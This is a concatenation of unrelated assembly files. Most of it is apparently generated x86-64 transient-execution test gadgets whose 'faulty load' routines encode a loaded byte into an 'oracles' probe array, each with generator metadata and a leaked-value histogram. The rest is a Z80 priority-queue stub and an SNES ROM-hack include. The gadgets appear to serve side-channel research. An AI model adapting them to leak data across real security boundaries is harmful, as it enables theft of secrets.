mov $81, %rcx
rep movsb
nop
nop
nop
nop
nop
add %r14, %r14
lea addresses_normal_ht+0xd5e9, %rbx
nop
nop
nop
nop
and $40513, %rax
mov $0x6162636465666768, %r12
movq %r12, %xmm7
vmovups %ymm7, (%rbx)
nop
sub %r12, %r12
lea addresses_D_ht+0x2cee, %rcx
nop
nop
nop
xor %r12, %r12
movups (%rcx), %xmm7
vpextrq $0, %xmm7, %rsi
nop
nop
and $43972, %rax
lea addresses_WT_ht+0x8a5e, %r12
sub $43941, %rdi
mov (%r12), %rsi
sub %rcx, %rcx
lea addresses_WC_ht+0x914e, %rbx
clflush (%rbx)
nop
sub %rcx, %rcx
vmovups (%rbx), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $1, %xmm2, %rdx
nop
nop
and $51842, %rdi
lea addresses_normal_ht+0x825e, %rsi
nop
nop
cmp %rcx, %rcx
mov $0x6162636465666768, %r14
movq %r14, %xmm4
vmovups %ymm4, (%rsi)
nop
nop
nop
nop
nop
sub %r12, %r12
lea addresses_D_ht+0x9756, %r14
nop
nop
nop
nop
nop
sub %rax, %rax
mov $0x6162636465666768, %rsi
movq %rsi, %xmm5
vmovups %ymm5, (%r14)
nop
nop
nop
nop
add %rsi, %rsi
lea addresses_normal_ht+0x5e5e, %rbx
nop
nop
nop
nop
inc %rcx
mov (%rbx), %rax
nop
and $12736, %rcx
lea addresses_WT_ht+0x1495e, %rax
nop
nop
nop
nop
add $36890, %rcx
movl $0x61626364, (%rax)
nop
nop
nop
nop
nop
and %rdi, %rdi
lea addresses_WC_ht+0x1e25e, %rdx
add %rdi, %rdi
mov (%rdx), %rsi
nop
nop
nop
nop
nop
sub $24656, %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r14
push %r15
push %r9
push %rbx
// Store
mov $0x85e, %r14
nop
nop
and %r11, %r11
movw $0x5152, (%r14)
nop
add $44381, %rbx
// Store
lea addresses_WC+0xae5e, %r13
nop
nop
inc %r15
mov $0x5152535455565758, %r9
movq %r9, %xmm3
movups %xmm3, (%r13)
nop
nop
nop
cmp $54837, %r13
// Store
lea addresses_WT+0x9016, %r15
nop
nop
nop
nop
nop
dec %r12
mov $0x5152535455565758, %r9
movq %r9, %xmm5
vmovups %ymm5, (%r15)
nop
nop
xor $4728, %r13
// Store
lea addresses_US+0x13d5e, %r9
nop
nop
nop
cmp %r15, %r15
movb $0x51, (%r9)
nop
nop
sub %rbx, %rbx
// Load
lea addresses_WT+0x1d25e, %r13
clflush (%r13)
nop
nop
nop
and $46979, %r15
mov (%r13), %r14d
nop
nop
nop
nop
and $56460, %r11
// Load
lea addresses_WT+0x1d25e, %r15
add $177, %r12
vmovntdqa (%r15), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $1, %xmm1, %r11
cmp $25808, %r13
// Faulty Load
lea addresses_WT+0x1d25e, %rbx
xor %r15, %r15
mov (%rbx), %r12w
lea oracles, %r13
and $0xff, %r12
shlq $12, %r12
mov (%r13,%r12,1), %r12
pop %rbx
pop %r9
pop %r15
pop %r14
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_P', 'congruent': 9}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WC', 'congruent': 10}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WT', 'congruent': 2}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_US', 'congruent': 7}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT', 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': True, 'NT': True, 'AVXalign': False, 'size': 32, 'type': 'addresses_WT', 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WT', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A_ht', 'congruent': 5}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 8, 'type': 'addresses_D_ht', 'congruent': 3}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 7, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}}
{'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal_ht', 'congruent': 10}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WC_ht', 'congruent': 1}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 6, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 11, 'type': 'addresses_D_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_normal_ht', 'congruent': 0}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_D_ht', 'congruent': 4}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WT_ht', 'congruent': 11}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WC_ht', 'congruent': 3}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_normal_ht', 'congruent': 9}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_D_ht', 'congruent': 2}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal_ht', 'congruent': 9}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT_ht', 'congruent': 6}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WC_ht', 'congruent': 7}}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
|
; void *wa_priority_queue_pop_fastcall(wa_priority_queue_t *q)
SECTION code_adt_wa_priority_queue
PUBLIC _wa_priority_queue_pop_fastcall
_wa_priority_queue_pop_fastcall:
INCLUDE "adt/wa_priority_queue/z80/asm_wa_priority_queue_pop.asm"
|
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r15
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x1ac1c, %rsi
lea addresses_normal_ht+0x13b1c, %rdi
nop
xor $9263, %r14
mov $70, %rcx
rep movsw
nop
nop
and %rsi, %rsi
lea addresses_UC_ht+0x434c, %rbp
nop
nop
nop
nop
nop
cmp %r13, %r13
mov (%rbp), %ebx
cmp $35287, %r14
lea addresses_WT_ht+0x1d1dc, %rcx
nop
xor $28826, %rbx
mov (%rcx), %rbp
nop
nop
nop
nop
nop
cmp $64120, %r14
lea addresses_WC_ht+0x1aed4, %rsi
dec %rbp
mov (%rsi), %cx
nop
nop
and %rbx, %rbx
lea addresses_D_ht+0x1b1c, %rsi
nop
and %rbx, %rbx
mov (%rsi), %rdi
nop
nop
nop
xor $47802, %rcx
lea addresses_UC_ht+0x7894, %rdi
nop
xor $44929, %rcx
movb (%rdi), %bl
nop
dec %rcx
lea addresses_A_ht+0x1331c, %r14
nop
nop
nop
sub %r13, %r13
movw $0x6162, (%r14)
nop
nop
nop
nop
nop
sub $41307, %rdi
lea addresses_WT_ht+0x1594e, %rbp
nop
sub %rcx, %rcx
movw $0x6162, (%rbp)
nop
nop
nop
nop
dec %r14
lea addresses_D_ht+0x1441c, %rsi
lea addresses_WC_ht+0x1c31c, %rdi
nop
nop
nop
nop
nop
dec %r15
mov $38, %rcx
rep movsb
nop
xor $31439, %r15
lea addresses_UC_ht+0x571c, %rsi
lea addresses_D_ht+0x1215c, %rdi
nop
nop
nop
nop
xor %rbp, %rbp
mov $33, %rcx
rep movsw
nop
nop
nop
and $36375, %rbp
lea addresses_WT_ht+0x170d0, %rsi
lea addresses_D_ht+0x107dc, %rdi
nop
nop
nop
nop
sub %r14, %r14
mov $87, %rcx
rep movsl
nop
nop
nop
add $41493, %rsi
lea addresses_D_ht+0x1031c, %r14
nop
nop
nop
dec %r13
vmovups (%r14), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $1, %xmm3, %rbx
nop
nop
nop
nop
and %rsi, %rsi
lea addresses_normal_ht+0x14dc0, %r13
nop
nop
add $11399, %rsi
mov $0x6162636465666768, %rbp
movq %rbp, %xmm3
movups %xmm3, (%r13)
nop
nop
and $63366, %r15
lea addresses_UC_ht+0x11da4, %rsi
lea addresses_WC_ht+0xb91c, %rdi
clflush (%rsi)
nop
nop
nop
nop
inc %r15
mov $51, %rcx
rep movsw
and $56813, %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r15
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r9
push %rbp
push %rbx
push %rcx
push %rdx
// Store
mov $0x3d42f70000000b1c, %rbp
nop
sub %r13, %r13
mov $0x5152535455565758, %rcx
movq %rcx, %xmm6
movups %xmm6, (%rbp)
nop
cmp $6837, %rbx
// Store
mov $0x3d42f70000000b1c, %rdx
nop
nop
nop
nop
nop
xor %r11, %r11
mov $0x5152535455565758, %rbx
movq %rbx, %xmm3
vmovups %ymm3, (%rdx)
nop
add %rcx, %rcx
// Store
mov $0x2f54c00000000d1c, %r9
nop
inc %rbp
movw $0x5152, (%r9)
nop
nop
nop
nop
inc %r11
// Store
lea addresses_UC+0xe330, %rcx
nop
nop
nop
nop
add %rbp, %rbp
mov $0x5152535455565758, %r11
movq %r11, %xmm0
movups %xmm0, (%rcx)
nop
nop
nop
nop
dec %r9
// Load
lea addresses_PSE+0x1fb20, %rdx
sub $13375, %r9
mov (%rdx), %bx
nop
nop
nop
nop
nop
add %rbx, %rbx
// Faulty Load
mov $0x3d42f70000000b1c, %r11
clflush (%r11)
nop
nop
nop
nop
and %rdx, %rdx
mov (%r11), %r9d
lea oracles, %r13
and $0xff, %r9
shlq $12, %r9
mov (%r13,%r9,1), %r9
pop %rdx
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 6, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 2, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 3, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 4, 'size': 8, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 2, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 10, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 3, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 11, 'size': 2, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 11, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 1, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}}
{'58': 20825, '44': 129, '46': 12, '00': 863}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 46 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 00 58 58 58 58 58 58 58 58 58 58 44 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 44 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 00 00 58 58 58 58 58 58 58 44 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 44 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 44 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 44 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58
*/
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r15
push %r8
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x7b8e, %rsi
lea addresses_WT_ht+0xbad2, %rdi
nop
nop
nop
nop
nop
sub %r12, %r12
mov $79, %rcx
rep movsl
nop
cmp $2145, %r15
lea addresses_A_ht+0x7c0a, %rbx
nop
nop
nop
nop
add %r8, %r8
movb $0x61, (%rbx)
nop
nop
nop
nop
xor $56125, %rbx
lea addresses_D_ht+0x2512, %rbx
nop
nop
nop
add $60237, %rsi
movb $0x61, (%rbx)
cmp %rbx, %rbx
lea addresses_UC_ht+0x104d2, %rbx
nop
nop
inc %r15
movups (%rbx), %xmm0
vpextrq $0, %xmm0, %r8
nop
nop
sub %r12, %r12
lea addresses_UC_ht+0x180c, %rbx
inc %r8
vmovups (%rbx), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $0, %xmm7, %rcx
add %r12, %r12
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r15
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r15
push %rax
push %rdi
push %rdx
push %rsi
// Store
lea addresses_D+0x15cd2, %r15
xor $33654, %rdx
movw $0x5152, (%r15)
nop
nop
cmp %r13, %r13
// Store
mov $0x43459d00000000d2, %rdi
sub $24084, %rsi
movb $0x51, (%rdi)
nop
nop
nop
sub $16895, %rdi
// Faulty Load
lea addresses_D+0x9ad2, %r15
nop
nop
nop
nop
add $15675, %r13
movb (%r15), %dl
lea oracles, %rsi
and $0xff, %rdx
shlq $12, %rdx
mov (%rsi,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rax
pop %r15
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_D', 'same': True, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 9}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_D', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 6}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': True, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 6}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
incsrc ./buttons.asm
incsrc ./checkpress.asm
incsrc ./execute.asm
incsrc ./height.asm
incsrc ./hole.asm
incsrc ./items.asm
incsrc ./ledge.asm
incsrc ./shadow.asm
incsrc ./soldier.asm
incsrc ./stairs.asm
incsrc ./sword.asm
incsrc ./warp.asm
incsrc ./watergrass.asm
; Called in height.asm
UpdateJump:
JSL CanCallJumpCode : BCS .done
JSL HandleJumping
.done
REP #$20 ; thing we wrote over
LDA $22 ; ^
RTL
